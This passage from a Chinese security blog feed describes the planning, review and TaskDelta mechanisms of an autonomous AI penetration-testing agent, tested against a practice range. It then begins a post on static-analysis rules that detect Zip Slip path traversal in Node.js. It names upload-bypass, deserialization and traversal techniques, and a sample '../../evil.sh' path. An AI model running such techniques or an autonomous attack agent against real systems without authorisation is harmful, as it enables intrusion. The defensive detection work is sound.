<div class="language-javascript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-javascript codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">var</span><span class="token plain"> </span><span class="token maybe-class-name">TaskReviewSuggestions</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token punctuation" style="color:#393A34">]</span><span class="token operator" style="color:#393A34">*</span><span class="token maybe-class-name">ReviewSuggestion</span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">{</span><span class="token literal-property property" style="color:#36acaa">Value</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"deeply_think"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token literal-property property" style="color:#36acaa">Prompt</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"思考不够深⼊，为当前任务拆分更多⼦任务"</span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">{</span><span class="token literal-property property" style="color:#36acaa">Value</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"inaccurate"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token literal-property property" style="color:#36acaa">Prompt</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"回答不够精准，存在未使⽤⼯具导致幻觉"</span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">{</span><span class="token literal-property property" style="color:#36acaa">Value</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"continue"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token literal-property property" style="color:#36acaa">Prompt</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"继续执⾏任务"</span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">{</span><span class="token literal-property property" style="color:#36acaa">Value</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"adjust_plan"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token literal-property property" style="color:#36acaa">Prompt</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"基于当前任务发现的新信息，后续计划需要调整"</span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<p>deeply_think 和 adjust_plan 最有意思。deeply_think 可以让 AI 针对当前任务进一步拆分子任务 -- 比如"验证文件上传漏洞"这个粒度太粗了，让它深入思考后，会拆成 MIME 绕过测试、NullByte 截断测试、.htaccess 上传测试、路径遍历测试等更细粒度的子任务。</p>
<p>adjust_plan 触发的就是前面说的 TaskDelta 机制，在运行时调整后续计划。</p>
<p>实际跑的时候可以看到，AI 在审阅阶段甚至会引用 CVE 编号。比如在文件上传测试的 task-review 中，AI 提到了 CVE-2017-15715（Apache 行解析漏洞），并据此调整了后续的测试策略。</p>
<p>审阅策略是可配置的 -- 完全自动、半自动、全手动，取决于使用场景。内部测试我们一般开计划审阅 + 关键工具审阅，日常漏扫可以全自动。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="动态规划的核心实现就是adjust-plan机制">动态规划的核心实现就是Adjust Plan机制<a href="https://yaklang.com/blog/memfit-autonomous-pentest-agent-architecture#%E5%8A%A8%E6%80%81%E8%A7%84%E5%88%92%E7%9A%84%E6%A0%B8%E5%BF%83%E5%AE%9E%E7%8E%B0%E5%B0%B1%E6%98%AFadjust-plan%E6%9C%BA%E5%88%B6" class="hash-link" aria-label="动态规划的核心实现就是Adjust Plan机制的直接链接" title="动态规划的核心实现就是Adjust Plan机制的直接链接" translate="no">​</a></h2>
<p>前面铺垫了这么多，现在应该可以把这件事说明白了。</p>
<p>Memfit AI 之所以能"随机应变"，不是因为它每次遇到意外都重新规划一遍——那样代价太高，上下文切换成本会把整个系统拖垮。真正的核心在于：它在原有计划的基础上做最小化的增量修改。这就是 Adjust Plan 机制的设计精髓。</p>
<p>Adjust Plan 不是随时都在跑的。它只在一个非常明确的时间点被触发：每个子任务执行完毕后的审阅阶段。</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">⼦任务执⾏完毕</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    ↓</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">⽣成 result_summary（执⾏结果摘要）</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    ↓</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">⽣成 timeline_diff（本轮新增发现）</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    ↓</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">进⼊ task_review（任务审阅）</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    ↓</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">AI / ⼈类 判断是否需要调整后续计划</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    ↓</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">如果需要 → 触发 adjust_plan → 输出 TaskDelta → 热更新任务树</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    ↓</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">推进游标，执⾏下⼀个任务</span><br></span></code></pre></div></div>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/8bad9cc3b395b053-68c5ddce11c726a725d7bd98911bddca.png" width="840" height="103" class="yakdoc-image"></button></p>
<p>关键点在于：审阅阶段的 AI 能看到当前任务的完整执行结果和记忆上下文。它不是凭空决定要不要改计划，而是基于"这一步实际跑出来了什么"来判断后续计划是否还合理。</p>
<p>AI 在审阅阶段拿到的信息包括三部分：</p>
<p>1、当前任务的 result_summary -- 这个任务做了什么、发现了什么、结论是什么</p>
<p>2、timeline_diff -- 相比上一轮，新增了哪些关键信息（新端点、新指纹、新漏洞线索）</p>
<p>3、剩余任务列表 -- 后面还有哪些任务排着队，它们的目标分别是什么</p>
<p>AI 要回答的问题很简单："基于我刚才的发现，后面的计划还够不够？有没有多余的？有没有缺的？有没有需要改的？"</p>
<p>举个真实例子。</p>
<p>task_1-1 爬虫跑完之后，AI 发现目标站点上有大量 Fastjson 相关的端点（/fastjson/json-in-form、/fastjson/json-in-body、/fastjson/json-in-query 等），而原始计划里只有一个笼统的"验证 Fastjson 反序列化漏洞"任务。</p>
<p>这时候 AI 判断粒度不够，通过 adjust_plan 把这个任务拆成了多个子任务，分别针对不同的传参方式进行验证。</p>
<p>再比如，task_1-3 做完 SQL 注入验证后，AI 发现 /user/by-id-safe 这个端点用了参数化查询，注入不了。原始计划里可能还有一个"深入利用 SQL 注入获取敏感数据"的任务依赖这个端点——这时候 AI 会通过 modify 操作把那个任务的目标改成只针对确认存在漏洞的端点，或者直接 remove 掉。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="taskdelta的执行逻辑">TaskDelta的执行逻辑<a href="https://yaklang.com/blog/memfit-autonomous-pentest-agent-architecture#taskdelta%E7%9A%84%E6%89%A7%E8%A1%8C%E9%80%BB%E8%BE%91" class="hash-link" aria-label="TaskDelta的执行逻辑的直接链接" title="TaskDelta的执行逻辑的直接链接" translate="no">​</a></h2>
<p>TaskDelta 到手之后，系统怎么把它应用到正在运行的任务树上？核心逻辑在 runtime 的计划更新方法中：</p>
<div class="language-go codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-go codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">func</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">r </span><span class="token operator" style="color:#393A34">*</span><span class="token plain">runtime</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">applyTaskDeltas</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">deltas </span><span class="token punctuation" style="color:#393A34">[</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">TaskDelta</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token builtin">error</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">_</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> delta </span><span class="token operator" style="color:#393A34">:=</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">range</span><span class="token plain"> deltas </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">switch</span><span class="token plain"> delta</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">Op </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">case</span><span class="token plain"> TaskDeltaInsertAfter</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 找到 ref_task_index 对应的节点</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 在它后⾯插⼊新任务节点</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 同时更新 TaskLink 链表，保持遍历顺序正确</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">case</span><span class="token plain"> TaskDeltaAppend</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 在当前所有任务末尾（但在最终报告任务之前）追加新任务</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">case</span><span class="token plain"> TaskDeltaRemove</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 从任务树和链表中移除指定节点</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 如果有其他任务依赖它，需要处理依赖关系</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">case</span><span class="token plain"> TaskDeltaModify</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 更新指定任务的 Name 和 Goal</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 不改变它在树中的位置和依赖关系</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">case</span><span class="token plain"> TaskDeltaReplaceAll</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 核弹选项：清空当前游标之后的所有任务，重新⽣成</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 只在极端情况下使⽤</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 重新展平任务树为链表</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">r</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">TaskLink </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> r</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">RootTask</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Flatten</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">nil</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<p>几个实现细节值得注意：</p>
<p>第一，插入操作不会打乱已执行任务的记录。 cursor 之前的任务已经跑完了，它们的结果、证据、记忆都已经持久化到文件系统和记忆库中。TaskDelta 只操作 cursor 之后的任务节点，已完成的部分不受影响。</p>
<p>第二，依赖关系会被自动处理。 如果新插入的任务声明了 depends_on，系统会检查被依赖的任务是否已经完成。如果已完成，依赖直接标记为满足；如果未完成，新任务会被排到依赖任务之后。</p>
<p>第三，replace_all 是兜底方案，实际几乎不会触发。 在我们的测试中，绝大多数调整都是 insert_after 和 modify，偶尔有 remove。只有当 AI 判断"之前的整个方向都走错了"时才会触发全量替换——比如原本以为目标是一个 Java 应用，结果发现其实是 Python，整个漏洞验证策略都要推翻重来。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="实际效果">实际效果<a href="https://yaklang.com/blog/memfit-autonomous-pentest-agent-architecture#%E5%AE%9E%E9%99%85%E6%95%88%E6%9E%9C" class="hash-link" aria-label="实际效果的直接链接" title="实际效果的直接链接" translate="no">​</a></h2>
<p>在 Vulinbox 靶场的这次测试中，一百分钟内，AI 总共触发了 4 次 adjust_plan：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/41164bb0add372b3-ba3e68750309889aee10577ed21522dd.png" width="1045" height="418" class="yakdoc-image"></button></p>
<p>4 次微调，没有一次全量重规划。</p>
<p>最终 13 个初始任务变成了 16 个实际执行的任务，整个过程耗时约 100 分钟，AI 始终知道自己在做什么。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="它跑了多久">它跑了多久<a href="https://yaklang.com/blog/memfit-autonomous-pentest-agent-architecture#%E5%AE%83%E8%B7%91%E4%BA%86%E5%A4%9A%E4%B9%85" class="hash-link" aria-label="它跑了多久的直接链接" title="它跑了多久的直接链接" translate="no">​</a></h2>
<p>这段不靠体感，直接看目录证据：/Users/v1ll4n/yakit-projects/aispace/10350_penetration_test_127_0_0_1_878_20260310_e5df9。</p>
<p>时间线很清楚。</p>
<p>10:53 左右开始跑，13:28 生成最终报告 report_20260310_13_28_27.txt，整段执行约 2 小时 35 分钟。这个量级已经不是 demo 的十几分钟流程了。</p>
<p>任务也不是一条直线跑到底。</p>
<p>初始计划在 task_plan-task/loop_plan_action_calls/2_plan.md 里是 13 个子任务，最终报告里落到了 19 个。中间多出来的，是 1-8-1~1-8-4、1-10、1-11、1-13、1-14 这类补充任务。</p>
<p>这些补充不是手工后补，而是运行中插进去的。task_1_12_timeline_diff.txt、task_1_13_timeline_diff.txt 里能看到 suggestion: "adjust_plan" 和 task_deltas，核心操作是 insert_after。Shiro 和 JWT 那几段补测，就是这么加进主链的。</p>
<p>再看产物规模，目录里能直接对账：</p>
<ul>
<li class="">执行目录总大小约 4.7M</li>
<li class="">主任务目录（不含 _intent）23 个</li>
<li class="">对应 23 份 result_summary 和 23 份 timeline_diff</li>
<li class="">tool_calls 下 Markdown 记录 206 份</li>
<li class="">最终报告统计工具调用约 188 次（其中 do_http_request 156+）</li>
<li class="">vuln/ 下 11 份漏洞文档（不含 README），最终汇总 18 个漏洞项</li>
</ul>
<p>怎么办，最关键的问题还是那个：上下文爆了吗？</p>
<p>这次看下来没有爆。原因也不复杂：长链路被拆成任务节点；每轮变化沉淀到 timeline_diff 和 result_summary；发现偏差就用 TaskDelta 做增量纠偏，而不是整局重开。</p>
<p>所以这件事的价值不只是“跑得久”。本质上是“跑得久还能持续记账、持续修正、持续复盘”。这才是工程系统，不是演示脚本。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="产生的报告">产生的报告<a href="https://yaklang.com/blog/memfit-autonomous-pentest-agent-architecture#%E4%BA%A7%E7%94%9F%E7%9A%84%E6%8A%A5%E5%91%8A" class="hash-link" aria-label="产生的报告的直接链接" title="产生的报告的直接链接" translate="no">​</a></h2>
<p>最后，我们给大家看看这两个半个小时我们的硅基黑客 Memfit AI 到底都做了什么。</p>
<p><button type="button" class="yakdoc-figure" data-layout="tall" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/113d2c3a9f7aaf88-39b1edbdf6112a307e86d3d60485aa24.png" width="840" height="4511" class="yakdoc-image"><span class="yakdoc-expand-hint" aria-hidden="true"><span class="yakdoc-expand-hint__text">长图已折叠</span><span class="yakdoc-expand-hint__button">点击展开</span></span></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="你可以使用并体验吗">你可以使用并体验吗？<a href="https://yaklang.com/blog/memfit-autonomous-pentest-agent-architecture#%E4%BD%A0%E5%8F%AF%E4%BB%A5%E4%BD%BF%E7%94%A8%E5%B9%B6%E4%BD%93%E9%AA%8C%E5%90%97" class="hash-link" aria-label="你可以使用并体验吗？的直接链接" title="你可以使用并体验吗？的直接链接" translate="no">​</a></h2>
<p>当然，我们并不会像友商或者其他团队一样，做出来不给用户使用。如果你喜欢，直接进入 <a href="https://memfit.ai/" target="_blank" rel="noopener noreferrer" class="">https://memfit.ai/</a> 下载 Memfit AI，内测推广阶段我们不会收取任何 Token 的费用，当然如果你想使用自己的 AI 也可以直接在 Memfit 中配置你的 AI APIKEY 使用。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="memfit-记得住的知识库看得见的行动力">memfit:: 记得住的知识库，看得见的行动力<a href="https://yaklang.com/blog/memfit-autonomous-pentest-agent-architecture#memfit-%E8%AE%B0%E5%BE%97%E4%BD%8F%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%9C%8B%E5%BE%97%E8%A7%81%E7%9A%84%E8%A1%8C%E5%8A%A8%E5%8A%9B" class="hash-link" aria-label="memfit:: 记得住的知识库，看得见的行动力的直接链接" title="memfit:: 记得住的知识库，看得见的行动力的直接链接" translate="no">​</a></h2>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/3cac0ba124b1bebc-709f9de698de5db68664a9fbbeb5abb0.png" width="840" height="529" class="yakdoc-image"></button></p>
<p>安装之后，体验专属于你的强大硅基黑客。今天介绍的内容，更多的是引起用户你的一些兴趣来了解我们的生产级别 AI Agent。</p>
<p>更多的使用技巧，我们会在之后的文章中为大家专门介绍。</p>
<p>本系统中使用到的 skills 在这里，大家可以在下方“领取方法”自取，如果你想使用你自己的 SKILLS，和 Yakit 一样，放置在 ~/yakit-projects/ai-skills/ 文件夹下就可以自动识别了！</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/f572860d9e95904d-1e9f063227f8edf430ee74a8be958fbb.jpg" width="833" height="358" class="yakdoc-image"></button></p>
<p>领取方法：关注Yak Project 公众号，在后台回复“skills”，点击链接即可领取下载，YAKer 们速速来领！</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/dcc35997c62e040a-10cfaa93ea4e3592650eb0fd119af7bf.png" width="561" height="273" class="yakdoc-image"></button></p>
<p>当然，我们也会提供给用户我们测试的所有 SKILLS，并且 memfit-standard-free 标准模型也已经在 Memfit 中启用。</p>
<hr>
<blockquote>
<p>本文首发于 Yak Project 公众号，<a href="https://mp.weixin.qq.com/s/rsBkRawgNUylNP7Hbj6B4A" target="_blank" rel="noopener noreferrer" class="">阅读原文</a>。</p>
</blockquote>]]></content:encoded>
            <category>2026 年</category>
            <category>AI</category>
        </item>
        <item>
            <title><![CDATA[代码审计：JavaScript/TypeScript SSA 前端重构与规则扩展]]></title>
            <link>https://yaklang.com/blog/javascript-typescript-ssa-frontend-refactor</link>
            <guid>https://yaklang.com/blog/javascript-typescript-ssa-frontend-refactor</guid>
            <pubDate>Fri, 06 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[早些时候我们完成了对 Irify 中 JavaScript 的 SSA 前端重构，从基于 Antlr 的前端转向微软官方以 Golang 重构的 typescript-go 解析器（https://mp.weixin.qq.com/s/BzDWCV0haY-QOapXDovFmW ）。这使得 JavaScript/TypeScript 的编译（项目源码到 SSA OpCode）速度得到极大提升，也让“把前端工程当作一个可规模化审计目标”变得现实。经过一段时间的迭代，目前引擎已经具备 JavaScript 与 TypeScript 的基础扫描能力。本周随引擎发版，我们补齐了 import/export 语义支持，并对部分 闭包/回调场景的跨过程分析做了针对性优化，同时上线了一批面向 JavaScript 的内置审计规则。]]></description>
            <content:encoded><![CDATA[<blockquote>
<p>早些时候我们完成了对 Irify 中 JavaScript 的 SSA 前端重构，从基于 Antlr 的前端转向微软官方以 Golang 重构的 typescript-go 解析器（<a href="https://mp.weixin.qq.com/s/BzDWCV0haY-QOapXDovFmW" target="_blank" rel="noopener noreferrer" class="">https://mp.weixin.qq.com/s/BzDWCV0haY-QOapXDovFmW</a> ）。这使得 JavaScript/TypeScript 的编译（项目源码到 SSA OpCode）速度得到极大提升，也让“把前端工程当作一个可规模化审计目标”变得现实。经过一段时间的迭代，目前引擎已经具备 JavaScript 与 TypeScript 的基础扫描能力。本周随引擎发版，我们补齐了 import/export 语义支持，并对部分 闭包/回调场景的跨过程分析做了针对性优化，同时上线了一批面向 JavaScript 的内置审计规则。</p>
</blockquote>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="内置规则更新">内置规则更新<a href="https://yaklang.com/blog/javascript-typescript-ssa-frontend-refactor#%E5%86%85%E7%BD%AE%E8%A7%84%E5%88%99%E6%9B%B4%E6%96%B0" class="hash-link" aria-label="内置规则更新的直接链接" title="内置规则更新的直接链接" translate="no">​</a></h2>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="cwe-22-zip-slip压缩包解压目录穿越">CWE-22 Zip Slip（压缩包解压目录穿越）<a href="https://yaklang.com/blog/javascript-typescript-ssa-frontend-refactor#cwe-22-zip-slip%E5%8E%8B%E7%BC%A9%E5%8C%85%E8%A7%A3%E5%8E%8B%E7%9B%AE%E5%BD%95%E7%A9%BF%E8%B6%8A" class="hash-link" aria-label="CWE-22 Zip Slip（压缩包解压目录穿越）的直接链接" title="CWE-22 Zip Slip（压缩包解压目录穿越）的直接链接" translate="no">​</a></h3>
<p>这条 SyntaxFlow 规则用于检测 Zip Slip 类风险：当应用在解压 ZIP/TAR 等压缩包时，将压缩包条目中的路径（例如 ../../evil.sh）直接或间接拼接到本地文件写入 API（如 fs.createWriteStream()、fs.writeFile()、fs.open() 等）上，导致解压结果突破预期目录边界，进而引发任意文件写入、覆盖配置、甚至 RCE 链路。</p>
<p>该问题在 Node.js 生态中非常常见，尤其是“上传压缩包 → 后端解压导入”的业务场景，攻击面清晰、危害上限高，因此规则默认按高风险漏洞处理。</p>
<p>规则的覆盖面针对实际工程做了库级适配，优先抓取常见压缩处理链路中的“条目路径来源”，包括 unzip/unzipper/tar-stream 的 on('entry', ...) 回调参数、adm-zip 的 entry.entryName、以及 jszip 的 forEach(relativePath, ...) / loadAsync().then(...) 形态。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/c64a73939cdc30ef-f7d9d2a0100dd0e15bc79e908e0f0998.png" width="1080" height="422" class="yakdoc-image"></button></p>
<p>针对上图不安全代码，内置规则会使用如下 SyntaxFlow 规则匹配 source 点，也就是是 zip 中的 entry 名。</p>
<div class="language-php codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-php codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">.on('entry', * as $onEntryCallbackAll)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">$onEntryCallbackAll?{&lt;self&gt;&lt;getCall&gt;&lt;getCallee&gt;&lt;getObject&gt;?{have: /(?i)(unzip|unzipper|tar)/}} as $onEntryCallback</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">$onEntryCallback&lt;getFormalParams&gt; as $entryParam</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">$entryParam.path as $source</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">$entryParam.name as $source</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">$entryParam.linkname as $source</span><br></span></code></pre></div></div>
<p>再匹配 sink 点，也就是文件写入函数的路径参数：</p>
<div class="language-php codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-php codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">// fs.createWriteStream(path) - path is first argument</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">fs.createWriteStream(* as $fsSink,)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">// fs.writeFile(path, data, ...) - capture the path argument (first arg)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">fs.writeFile(* as $fsSink,)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">fs.writeFileSync(* as $fsSink,)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">// fs.appendFile(path, data, ...) - capture the path argument (first arg)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">fs.appendFile(* as $fsSink,)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">fs.appendFileSync(* as $fsSink,)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">// fs.open(path, flags, ...) / fs.openSync - capture the path argument</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">fs.open(* as $fsSink,)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">fs.openSync(* as $fsSink,)</span><br></span></code></pre></div></div>
<p>为了减少误报和提升检测效果，我们这里还定义了 filter 和 guard 用来区分存在过滤和潜在可利用的场景。当 entry 的名称被 basename 处理则不构成 zip-slip，我们把存在 basename 过滤的情况划分为 filter。</p>
<p>但当使用不完全的过滤方式或者使用 if-else 结合 startsWith 和 endsWith 函数判断时则存在利用可能，我们把这类情况归类为存在 guard 条件。</p>
